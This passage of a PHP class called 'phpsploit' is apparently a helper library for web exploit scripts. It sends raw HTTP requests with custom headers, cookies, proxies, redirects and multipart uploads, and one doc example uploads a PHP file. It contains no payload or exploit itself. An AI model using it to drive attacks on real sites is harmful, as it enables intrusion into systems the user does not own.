&nbsp;*&nbsp;&nbsp;*&nbsp;Bug&nbsp;#1&nbsp;fixed:&nbsp;Problem&nbsp;concerning&nbsp;the&nbsp;allowredirection()&nbsp;function&nbsp;(chr(13)&nbsp;bug)
&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;You&nbsp;can&nbsp;now&nbsp;call&nbsp;the&nbsp;getheader()&nbsp;/&nbsp;getcontent()&nbsp;function&nbsp;without&nbsp;parameters
&nbsp;*
&nbsp;*&nbsp;[2006-12-30]&nbsp;(1.0)
&nbsp;*&nbsp;&nbsp;*&nbsp;First&nbsp;version
&nbsp;*&nbsp;
&nbsp;*/

class&nbsp;phpsploit&nbsp;{

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;get()/post()&nbsp;functions.
	&nbsp;*&nbsp;You&nbsp;don\'t&nbsp;have&nbsp;to&nbsp;call&nbsp;it,&nbsp;this&nbsp;is&nbsp;the&nbsp;main&nbsp;function.
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/
	private&nbsp;function&nbsp;sock()
	{
		if(!empty($this->proxyhost)&nbsp;&&&nbsp;!empty($this->proxyport))&nbsp;$socket&nbsp;=&nbsp;fsockopen($this->proxyhost,$this->proxyport);
		else&nbsp;$socket&nbsp;=&nbsp;fsockopen($this->host,$this->port);
		
		if(!$socket)&nbsp;die(\"Error:&nbsp;The&nbsp;host&nbsp;doesn\'t&nbsp;exist\");
		
		if($this->method===\"get\")&nbsp;$this->packet&nbsp;=&nbsp;\"GET&nbsp;\".$this->url.\"&nbsp;HTTP/1.1\\r\\n\";
		elseif($this->method===\"post\"&nbsp;or&nbsp;$this->method===\"formdata\")&nbsp;$this->packet&nbsp;=&nbsp;\"POST&nbsp;\".$this->url.&nbsp;\"&nbsp;HTTP/1.1\\r\\n\";
		else&nbsp;die(\"Error:&nbsp;Invalid&nbsp;method\");
		
		if(!empty($this->proxyuser))&nbsp;$this->packet&nbsp;.=&nbsp;\"Proxy-Authorization:&nbsp;Basic&nbsp;\".base64_encode($this->proxyuser.\":\".$this->proxypass).\"\\r\\n\";
		$this->packet&nbsp;.=&nbsp;\"Host:&nbsp;\".$this->host.\"\\r\\n\";
		
		if(!empty($this->agent))&nbsp;&nbsp;$this->packet&nbsp;.=&nbsp;\"User-Agent:&nbsp;\".$this->agent.\"\\r\\n\";
		if(!empty($this->header))&nbsp;$this->packet&nbsp;.=&nbsp;$this->header.\"\\r\\n\";
		if(!empty($this->cookie))&nbsp;$this->packet&nbsp;.=&nbsp;\"Cookie:&nbsp;\".$this->cookie.\"\\r\\n\";
		
		$this->packet&nbsp;.=&nbsp;\"Connection:&nbsp;Close\\r\\n\";
		if($this->method===\"post\")
		{
			$this->packet&nbsp;.=&nbsp;\"Content-Type:&nbsp;application/x-www-form-urlencoded\\r\\n\";
			$this->packet&nbsp;.=&nbsp;\"Content-Length:&nbsp;\".strlen($this->data).\"\\r\\n\\r\\n\";
			$this->packet&nbsp;.=&nbsp;$this->data.\"\\r\\n\";
		}
		elseif($this->method===\"formdata\")
		{
			$this->packet&nbsp;.=&nbsp;\"Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------\".$this->boundary.\"\\r\\n\";
			$this->packet&nbsp;.=&nbsp;\"Content-Length:&nbsp;\".strlen($this->data).\"\\r\\n\\r\\n\";
			$this->packet&nbsp;.=&nbsp;$this->data;
		}
		$this->packet&nbsp;.=&nbsp;\"\\r\\n\";
		$this->recv&nbsp;=&nbsp;\'\';
		
		fputs($socket,$this->packet);
		while(!feof($socket))&nbsp;$this->recv&nbsp;.=&nbsp;fgets($socket);
		fclose($socket);
		
		if($this->cookiejar)&nbsp;$this->cookiejar($this->getheader($this->recv));
		if($this->allowredirection)&nbsp;return&nbsp;$this->allowredirection($this->recv);
		else&nbsp;return&nbsp;$this->recv;
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several&nbsp;cookie&nbsp;in&nbsp;the
	&nbsp;*&nbsp;request.&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this->addcookie(\"name\",\"value\");
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this->addcookie(\"name=newvalue\");
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this->addcookie(\"othername=overvalue;&nbsp;xx=zz;&nbsp;y=u\");
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$cookiename
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$cookievalue
	&nbsp;*&nbsp;
	&nbsp;*/
	public&nbsp;function&nbsp;addcookie($cookn,$cookv=\'\')
	{
		//&nbsp;$this->addcookie(\"name\",\"value\");&nbsp;work&nbsp;avec&nbsp;replace
		if(!empty($cookv))
		{
			if($cookv&nbsp;===&nbsp;\"deleted\")&nbsp;$cookv=\'\';&nbsp;//&nbsp;cookiejar(1)&nbsp;&&&nbsp;Set-Cookie:&nbsp;name=delete
			if(!empty($this->cookie))
			{
			&nbsp;&nbsp;&nbsp;&nbsp;if(preg_match(\"/$cookn=/\",$this->cookie))
			&nbsp;&nbsp;&nbsp;&nbsp;{
			&nbsp;&nbsp;&nbsp;&nbsp;	$this->cookie&nbsp;=&nbsp;preg_replace(\"/$cookn=(\\S*);/\",\"$cookn=$cookv;\",$this->cookie);
			&nbsp;&nbsp;&nbsp;&nbsp;}
			&nbsp;&nbsp;&nbsp;&nbsp;else
			&nbsp;&nbsp;&nbsp;&nbsp;{
			&nbsp;&nbsp;&nbsp;&nbsp;	$this->cookie&nbsp;.=&nbsp;\"&nbsp;\".$cookn.\"=\".$cookv.\";\";&nbsp;//&nbsp;\"&nbsp;\".
			&nbsp;&nbsp;&nbsp;&nbsp;}
			}
			else
			{
				$this->cookie&nbsp;=&nbsp;$cookn.\"=\".$cookv.\";\";
			}
		}
		//&nbsp;$this->addcookie(\"name=value;&nbsp;othername=othervalue\");
		else
		{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;if(!empty($this->cookie))
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	$cookn&nbsp;=&nbsp;preg_replace(\"/(.*);$/\",\"$1\",$cookn);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	$cookarr&nbsp;=&nbsp;explode(\";\",str_replace(\"&nbsp;\",&nbsp;\"\",$cookn));
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	for($i=0;$i<count($cookarr);$i++)
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		preg_match(\"/(\\S*)=(\\S*)/\",$cookarr[$i],$matches);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$cookn&nbsp;=&nbsp;$matches[1];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$cookv&nbsp;=&nbsp;$matches[2];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$this->addcookie($cookn,$cookv);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	}
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;}
			&nbsp;else
			&nbsp;{
			&nbsp;	$cookn&nbsp;=&nbsp;((substr($cookn,(strlen($cookn)-1),1))===\";\")&nbsp;?&nbsp;$cookn&nbsp;:&nbsp;$cookn.\";\";
			&nbsp;	$this->cookie&nbsp;=&nbsp;$cookn;			
			&nbsp;}
		}
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several&nbsp;headers&nbsp;in&nbsp;the
	&nbsp;*&nbsp;request.&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*
	&nbsp;*&nbsp;$this->addheader(\"headername\",\"headervalue\");
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this->addheader(\"headername:&nbsp;headervalue\");
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$headername
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$headervalue
	&nbsp;*/
	public&nbsp;function&nbsp;addheader($headern,$headervalue=\'\')
	{
		//&nbsp;$this->addheader(\"name\",\"value\");
		if(!empty($headervalue))
		{
			if(!empty($this->header))
			{
				if(preg_match(\"/$headern:/\",$this->header))
				{
					$this->header&nbsp;=&nbsp;preg_replace(\"/$headern:&nbsp;(\\S*)/\",\"$headern:&nbsp;$headervalue\",$this->header);
				}
				else
				{
					$this->header&nbsp;.=&nbsp;\"\\r\\n\".$headern.\":&nbsp;\".$headervalue;
				}
			}
			else
			{
				$this->header=$headern.\":&nbsp;\".$headervalue;
			}
		}
		//&nbsp;$this->addheader(\"name:&nbsp;value\");
		else&nbsp;
		{
			if(!empty($this->header))
			{
				$headarr&nbsp;=&nbsp;explode(\":&nbsp;\",$headern);
				$headern&nbsp;=&nbsp;$headarr[0];
				$headerv&nbsp;=&nbsp;$headarr[1];
				$this->addheader($headern,$headerv);
			}
			else
			{
				$this->header=$headern;
			}
		}
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an&nbsp;http&nbsp;proxy&nbsp;server.
	&nbsp;*&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this->proxy(\"proxyip\",\"8118\");
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this->proxy(\"proxyip:8118\")
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxyhost
	&nbsp;*&nbsp;@param&nbsp;integer&nbsp;$proxyport
	&nbsp;*/
	public&nbsp;function&nbsp;proxy($proxy,$proxyp=\'\')
	{
		//&nbsp;$this->proxy(\"localhost:8118\");
		if(empty($proxyp))
		{
			preg_match(\"/^(\\S*):(\\d+)$/\",$proxy,$proxarr);
			$proxh&nbsp;=&nbsp;$proxarr[1];
			$proxp&nbsp;=&nbsp;$proxarr[2];
			$this->proxyhost=$proxh;
			$this->proxyport=$proxp;
		}
		//&nbsp;$this->proxy(\"localhost\",8118);
		else&nbsp;
		{
			$this->proxyhost=$proxy;
			$this->proxyport=intval($proxyp);
		}
		if($this->proxyport&nbsp;>&nbsp;65535)&nbsp;die(\"Error:&nbsp;Invalid&nbsp;port&nbsp;number\");
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an&nbsp;http&nbsp;proxy&nbsp;server
	&nbsp;*&nbsp;which&nbsp;requires&nbsp;a&nbsp;basic&nbsp;authentification.&nbsp;Several
	&nbsp;*&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this->proxyauth(\"darkfig\",\"dapasswd\");
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this->proxyauth(\"darkfig:dapasswd\");
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxyuser
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxypass
	&nbsp;*/
	public&nbsp;function&nbsp;proxyauth($proxyauth,$proxypasse=\'\')
	{
		//&nbsp;$this->proxyauth(\"darkfig:password\");
		if(empty($proxypasse))
		{
			preg_match(\"/^(.*):(.*)$/\",$proxyauth,$proxautharr);
			$proxu&nbsp;=&nbsp;$proxautharr[1];
			$proxp&nbsp;=&nbsp;$proxautharr[2];
			$this->proxyuser=$proxu;
			$this->proxypass=$proxp;
		}
		//&nbsp;$this->proxyauth(\"darkfig\",\"password\");
		else
		{
			$this->proxyuser=$proxyauth;
			$this->proxypass=$proxypasse;
		}
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;set&nbsp;the&nbsp;\"User-Agent\"&nbsp;header.
	&nbsp;*&nbsp;Several&nbsp;methods&nbsp;are&nbsp;possible&nbsp;to&nbsp;do&nbsp;that:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this->agent(\"Mozilla&nbsp;Firefox\");
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this->addheader(\"User-Agent:&nbsp;Mozilla&nbsp;Firefox\");
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this->addheader(\"User-Agent\",\"Mozilla&nbsp;Firefox\");
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$useragent
	&nbsp;*/
	public&nbsp;function&nbsp;agent($useragent)
	{
		$this->agent=$useragent;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;header&nbsp;which&nbsp;will&nbsp;be
	&nbsp;*&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this->showheader();
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$header
	&nbsp;*/
	public&nbsp;function&nbsp;showheader()
	{
		return&nbsp;$this->header;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;cookie&nbsp;which&nbsp;will&nbsp;be
	&nbsp;*&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this->showcookie();
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$storedcookies
	&nbsp;*/
	public&nbsp;function&nbsp;showcookie()
	{
		return&nbsp;$this->cookie;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;last&nbsp;formed
	&nbsp;*&nbsp;http&nbsp;request&nbsp;(the&nbsp;http&nbsp;packet).
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this->showlastrequest();
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@return&nbsp;$last_http_request
	&nbsp;*/
	public&nbsp;function&nbsp;showlastrequest()
	{
		return&nbsp;$this->packet;
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the
	&nbsp;*&nbsp;GET&nbsp;method.&nbsp;You&nbsp;can&nbsp;precise&nbsp;the&nbsp;port&nbsp;of&nbsp;the&nbsp;host.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this->get(\"http://localhost\");
	&nbsp;*&nbsp;$this->get(\"http://localhost:888/xd/tst.php\");
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urlwithpath
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/
	public&nbsp;function&nbsp;get($url)
	{
		$this->target($url);
		$this->method=\"get\";
		return&nbsp;$this->sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the
	&nbsp;*&nbsp;POST&nbsp;method.&nbsp;You&nbsp;can&nbsp;precise&nbsp;the&nbsp;port&nbsp;of&nbsp;the&nbsp;host.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this->post(\"http://localhost/index.php\",\"admin=1&user=dark\");
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urlwithpath
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$postdata
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/	
	public&nbsp;function&nbsp;post($url,$data)
	{
		$this->target($url);
		$this->method=\"post\";
		$this->data=$data;
		return&nbsp;$this->sock();
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the
	&nbsp;*&nbsp;POST&nbsp;method&nbsp;using&nbsp;the&nbsp;multipart/form-data&nbsp;enctype.&nbsp;
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$array&nbsp;=&nbsp;array(
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_url&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=>&nbsp;\"http://localhost/upload.php\",
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_boundary&nbsp;=>&nbsp;\"123456\",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Optional
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\"email\"&nbsp;=>&nbsp;\"[email protected]\",
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\"varname\"&nbsp;=>&nbsp;array(
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_type&nbsp;=>&nbsp;\"image/gif\",&nbsp;&nbsp;&nbsp;#&nbsp;Optional
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_transfert&nbsp;=>&nbsp;\"binary\",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Optional
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_filename&nbsp;=>&nbsp;\"hello.php\",
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_content&nbsp;=>&nbsp;\"<?php&nbsp;echo&nbsp;\':)\';&nbsp;?>\"));
	&nbsp;*&nbsp;$this->formdata($array);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;array&nbsp;$array
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/
	public&nbsp;function&nbsp;formdata($array)
	{
		$this->target($array[frmdt_url]);
		$this->method=\"formdata\";
		$this->data=\'\';
		if(!isset($array[frmdt_boundary]))&nbsp;$this->boundary=\"phpsploit\";
		else&nbsp;$this->boundary=$array[frmdt_boundary];
		foreach($array&nbsp;as&nbsp;$key&nbsp;=>&nbsp;$value)
		{
			if(!preg_match(\"#^frmdt_(boundary|url)#\",$key))
			{
				$this->data&nbsp;.=&nbsp;\"-----------------------------\".$this->boundary.\"\\r\\n\";
				$this->data&nbsp;.=&nbsp;\"Content-Disposition:&nbsp;form-data;&nbsp;name=\\\"\".$key.\"\\\";\";
				if(!is_array($value))
				{
					$this->data&nbsp;.=&nbsp;\"\\r\\n\\r\\n\".$value.\"\\r\\n\";
				}
				else
				{
					$this->data&nbsp;.=&nbsp;\"&nbsp;filename=\\\"\".$array[$key][frmdt_filename].\"\\\";\\r\\n\";
					if(isset($array[$key][frmdt_type]))&nbsp;$this->data&nbsp;.=&nbsp;\"Content-Type:&nbsp;\".$array[$key][frmdt_type].\"\\r\\n\";
					if(isset($array[$key][frmdt_transfert]))&nbsp;$this->data&nbsp;.=&nbsp;\"Content-Transfer-Encoding:&nbsp;\".$array[$key][frmdt_transfert].\"\\r\\n\";
					$this->data&nbsp;.=&nbsp;\"\\r\\n\".$array[$key][frmdt_content].\"\\r\\n\";
				}
			}
		}
		$this->data&nbsp;.=&nbsp;\"-----------------------------\".$this->boundary.\"--\\r\\n\";
		return&nbsp;$this->sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;content&nbsp;of&nbsp;the&nbsp;server&nbsp;response
	&nbsp;*&nbsp;without&nbsp;the&nbsp;headers.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this->getcontent($this->get(\"http://localhost/\"));
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this->getcontent();
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*&nbsp;@return&nbsp;$onlythecontent
	&nbsp;*/
	public&nbsp;function&nbsp;getcontent($code=\'\')
	{
		if(empty($code))&nbsp;$code&nbsp;=&nbsp;$this->recv;
		$content&nbsp;=&nbsp;explode(\"\\n\",$code);
		$onlycode&nbsp;=&nbsp;\'\';
		for($i=1;$i<count($content);$i++)
		{
			if(!preg_match(\"/^(\\S*):/\",$content[$i]))&nbsp;$ok&nbsp;=&nbsp;1;
			if($ok)&nbsp;$onlycode&nbsp;.=&nbsp;$content[$i].\"\\n\";
		}
		return&nbsp;$onlycode;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;headers&nbsp;of&nbsp;the&nbsp;server&nbsp;response
	&nbsp;*&nbsp;without&nbsp;the&nbsp;content.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this->getheader($this->post(\"http://localhost/x.php\",\"x=1&z=2\"));
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this->getheader();
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*&nbsp;@return&nbsp;$onlytheheaders
	&nbsp;*/
	public&nbsp;function&nbsp;getheader($code=\'\')
	{
		if(empty($code))&nbsp;$code&nbsp;=&nbsp;$this->recv;
		$header&nbsp;=&nbsp;explode(\"\\n\",$code);
		$onlyheader&nbsp;=&nbsp;$header[0].\"\\n\";
		for($i=1;$i<count($header);$i++)
		{
			if(!preg_match(\"/^(\\S*):/\",$header[$i]))&nbsp;break;
			$onlyheader&nbsp;.=&nbsp;$header[$i].\"\\n\";
		}
		return&nbsp;$onlyheader;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;cookiejar()&nbsp;function.
	&nbsp;*&nbsp;It&nbsp;adds&nbsp;the&nbsp;value&nbsp;of&nbsp;the&nbsp;\"Set-Cookie\"&nbsp;header&nbsp;in&nbsp;the&nbsp;\"Cookie\"
	&nbsp;*&nbsp;header&nbsp;for&nbsp;the&nbsp;next&nbsp;request.&nbsp;You&nbsp;don\'t&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*/
	private&nbsp;function&nbsp;getcookie($code)
	{
		$carr&nbsp;=&nbsp;explode(\"\\n\",str_replace(\"\\r\\n\",\"\\n\",$code));
		for($z=0;$z<count($carr);$z++)
		{
			if(preg_match(\"/set-cookie:&nbsp;(.*)/i\",$carr[$z],$cookarr))
			{
				$cookie[]&nbsp;=&nbsp;preg_replace(\"/expires=(.*)(GMT||UTC)(\\S*)$/i\",\"\",preg_replace(\"/path=(.*)/i\",\"\",$cookarr[1]));
			}
		}

		for($i=0;$i<count($cookie);$i++)
		{
			preg_match(\"/(\\S*)=(\\S*)(|;)/\",$cookie[$i],$matches);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cookn&nbsp;=&nbsp;$matches[1];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cookv&nbsp;=&nbsp;$matches[2];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this->addcookie($cookn,$cookv);
		}
&nbsp;&nbsp;&nbsp;&nbsp;}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;get()/post()&nbsp;functions.
	&nbsp;*&nbsp;You&nbsp;don\'t&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urltarg
	&nbsp;*/
	private&nbsp;function&nbsp;target($urltarg)
	{
		if(!preg_match(\"/^http:\\/\\/(.*)\\//\",$urltarg))&nbsp;$urltarg&nbsp;.=&nbsp;\"/\";
		$this->url=$urltarg;
		
		$array&nbsp;=&nbsp;explode(\"/\",str_replace(\"http://\",\"\",preg_replace(\"/:(\\d+)/\",\"\",$urltarg)));
		$this->host=$array[0];

		preg_match(\"/:(\\d+)\\//\",$urltarg,$matches);
		$this->port=empty($matches[1])&nbsp;?&nbsp;80&nbsp;:&nbsp;$matches[1];
		
		$temp&nbsp;=&nbsp;str_replace(\"http://\",\"\",preg_replace(\"/:(\\d+)/\",\"\",$urltarg));
		preg_match(\"/\\/(.*)\\//\",$temp,$matches);
		$this->path=str_replace(\"//\",\"/\",\"/\".$matches[1].\"/\");
	
		if($this->port&nbsp;>&nbsp;65535)&nbsp;die(\"Error:&nbsp;Invalid&nbsp;port&nbsp;number\");
	}
	
	
	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,&nbsp;the&nbsp;script&nbsp;will
	&nbsp;*&nbsp;extract&nbsp;all&nbsp;\"Set-Cookie\"&nbsp;headers&nbsp;values
	&nbsp;*&nbsp;and&nbsp;it&nbsp;will&nbsp;automatically&nbsp;add&nbsp;them&nbsp;into&nbsp;the&nbsp;\"Cookie\"&nbsp;header
	&nbsp;*&nbsp;for&nbsp;all&nbsp;next&nbsp;requests.
	&nbsp;*
	&nbsp;*&nbsp;$this->cookiejar(1);&nbsp;//&nbsp;enabled
	&nbsp;*&nbsp;$this->cookiejar(0);&nbsp;//&nbsp;disabled
	&nbsp;*&nbsp;
	&nbsp;*/
	public&nbsp;function&nbsp;cookiejar($code)
	{
		if($code===0)&nbsp;$this->cookiejar=\'\';
		if($code===1)&nbsp;$this->cookiejar=1;
		else
		{
			$this->getcookie($code);
		}
	}


	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,&nbsp;the&nbsp;script&nbsp;will
	&nbsp;*&nbsp;follow&nbsp;all&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this->allowredirection(1);&nbsp;//&nbsp;enabled
	&nbsp;*&nbsp;$this->allowredirection(0);&nbsp;//&nbsp;disabled
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@return&nbsp;$this->get($locationresponse)
	&nbsp;*/
	public&nbsp;function&nbsp;allowredirection($code)
	{
		if($code===0)&nbsp;$this->allowredirection=\'\';
		if($code===1)&nbsp;$this->allowredirection=1;
		else
		{
			if(preg_match(\"/(location|content-location|uri):&nbsp;(.*)/i\",$code,$codearr))
			{
				$location&nbsp;=&nbsp;str_replace(chr(13),\'\',$codearr[2]);
				if(!eregi(\"://\",$location))
				{
					return&nbsp;$this->get(\"http://\".$this->host.$this->path.$location);
				}
				else
				{
					return&nbsp;$this->get($location);
				}
			}
			else
			{
				return&nbsp;$code;
			}
		}
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;reset&nbsp;some&nbsp;parameters:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this->reset(header);&nbsp;//&nbsp;headers&nbsp;cleaned
	&nbsp;*&nbsp;$this->reset(cookie);&nbsp;//&nbsp;cookies&nbsp;cleaned
	&nbsp;*&nbsp;$this->reset();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;clean&nbsp;all&nbsp;parameters
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$func
	&nbsp;*/
	public&nbsp;function&nbsp;reset($func=\'\')
	{
		switch($func)
		{
			case&nbsp;\"header\":
			$this->header=\'\';
			break;
			
			case&nbsp;\"cookie\":
			$this->cookie=\'\';
			break;
			
			default:
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this->cookiejar=\'\';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this->header=\'\';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this->cookie=\'\';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this->allowredirection=\'\';&nbsp;
